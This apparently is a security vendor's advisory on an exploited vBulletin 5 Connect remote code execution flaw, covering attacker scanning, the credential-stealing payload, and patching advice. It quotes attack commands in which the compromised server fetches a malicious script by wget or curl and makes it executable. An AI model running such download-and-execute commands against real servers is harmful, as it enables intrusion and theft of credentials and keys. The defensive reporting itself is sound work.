Recently a hacker claimed to have exploited a vulnerability in the vBulletin to compromise a number of websites. vBulletin is a popular forum and community software platform that runs on top of PHP web servers. According to the company’s website, it serves over 40,000 online communities and counts a raft of blue-chip companies on its roster of users. Following the initial reports of the attacks, a remote code execution (RCE) exploit for the bug was publicly shared online by another individual on November 3, along with the claim that the bug had been present in the software for more than three years.
Exploiting the vulnerability
The vulnerability affects vBulletin 5 Connect (versions 5.1.4, 5.1.5, 5.1.6, 5.1.7, 5.1.8, and 5.1.9). On Monday, November 2, vBulletin Solutions released security patches to address the bug. If successfully exploited, an attacker is able to remotely execute code on the vulnerable server. Soon after the vBulletin exploit was revealed, Symantec observed as many as 2,500 instances per day of attackers attempting to scan for and exploit servers running the vulnerable software.
Figure 1. Attempts to find and exploit servers running vulnerable vBulletin software
The RCE exploit is relatively simple to deploy; a single HTTP request is all that is needed. Let’s take a look at how the attackers are using it.
Our telemetry suggests that attackers are scanning for servers running the vulnerable vBulletin software by using a common phpinfo() function or printing out an MD5 of an arbitrary value. We believe this is just a massive reconnaissance scan to identify vulnerable web servers for exploitation. The attackers use one of the following requests to test for vulnerable servers:
In the first request, if the targeted server is vulnerable, the MD5 hash of 233333 is printed in the response sent by the server.
In the second variant, the attacker tries to execute the phpinfo() function and waits for any output of this function in the response; if it’s found, then the server is vulnerable.
System administrators can use this specific URL in web access logs as an indicator of attack (IoA) or a potential indicator of compromise (IoC) by comparing the time of request with the time of patching.
Once a vulnerable web server is found, the attacker can then take steps to infiltrate the system and begin to search and exfiltrate data from it, such as administrative user credentials, or even attempt to gain administrator privileges. This is all done by first downloading and executing a multipurpose malicious shell script (filesender1.sh) onto the compromised server.
An attacker can achieve this by accessing the decodeArguments function, as seen earlier, and passing it calls to the PHP system() function. The system function in PHP is powerful and risky, allowing PHP pages to execute applications external to the web server context. For example, the function can be used to execute shell commands which could enable almost any functionality to be accessed, such as downloading files, deleting files, etc.
- system("wget -O /tmp/.e.sh —no-check-certificate https:// [REMOVED]/filesender1.sh || curl -k -o /tmp/.e.sh https://[REMOVED]/filesender1.sh")
In this case, the attacker issues a command to make the server download a malicious script, from a URL specified by the attacker using either wget or curl, and place the script into the /tmp/ directory.
Next, the attacker will issue follow-up commands to change the permission of the file to make it executable using the chmod command:
- system("chmod 777 /tmp/.e.sh")
Finally, the following command is sent to execute the file:
What the attackers are after
The malicious script that is downloaded and executed on compromised servers attempts to steal as much information as possible from the compromised server by searching through a list of 130 predefined files and folders.
Figure 2. Some of the predefined files and folders searched through for sensitive information
The script also contains a list of 68 commands that can be run on the compromised server. These include commands for gathering system information like the host name, domain name, and kernel version; listing installed services and packages; and checking network configuration. The script can also search for user login credentials, SSH private keys, and other sensitive information on the server.
Figure 3. Selection of commands that can be run on the compromised server
The malicious script can also test the privilege of current processes by attempting to write to a root-only directory.
Figure 4. Malicious script can test the privilege of current processes on compromised servers
Any information gathered by the malicious script is then compressed and sent back to the attacker.
Why compromise these servers?
By compromising the servers for popular online forums, attackers can potentially carry out many more downstream attacks as these systems often have heavy traffic serving many users. Cybercriminals can use these compromised web servers to booby-trap the website, making it deliver malware to unsuspecting users of the site. Selling or hiring compromised server access to other criminals is also a common way for cybercriminals to generate revenue. There is also a market for servers that can be commandeered for performing distributed denial-of-service (DDoS) attacks against chosen targets. Servers often have a lot of available bandwidth and are prized by attackers who are interested in launching DDoS attacks, making them a valuable commodity on the underground market.
Any forum using the affected software (vBulletin Connect versions 5.1.4, 5.1.5, 5.1.6, 5.1.7, 5.1.8, and 5.1.9) is vulnerable to this attack. Administrators of vBulletin installations are advised to install the latest vBulletin Connect software package updates as soon as possible.
It is also worth having a look at the OWASP cheat sheet on securing PHP server installations and applying the best practices that it contains.
In addition, Symantec advises administrators to follow these best practices to stay safe:
- Keep security software, as well as all other software, up to date
- Make frequent and multiple backups of important data
- Monitor logs and respond promptly if a threat is found
- Never store passwords in plaintext
Symantec and Norton products have the following detections in place to protect users against this attack: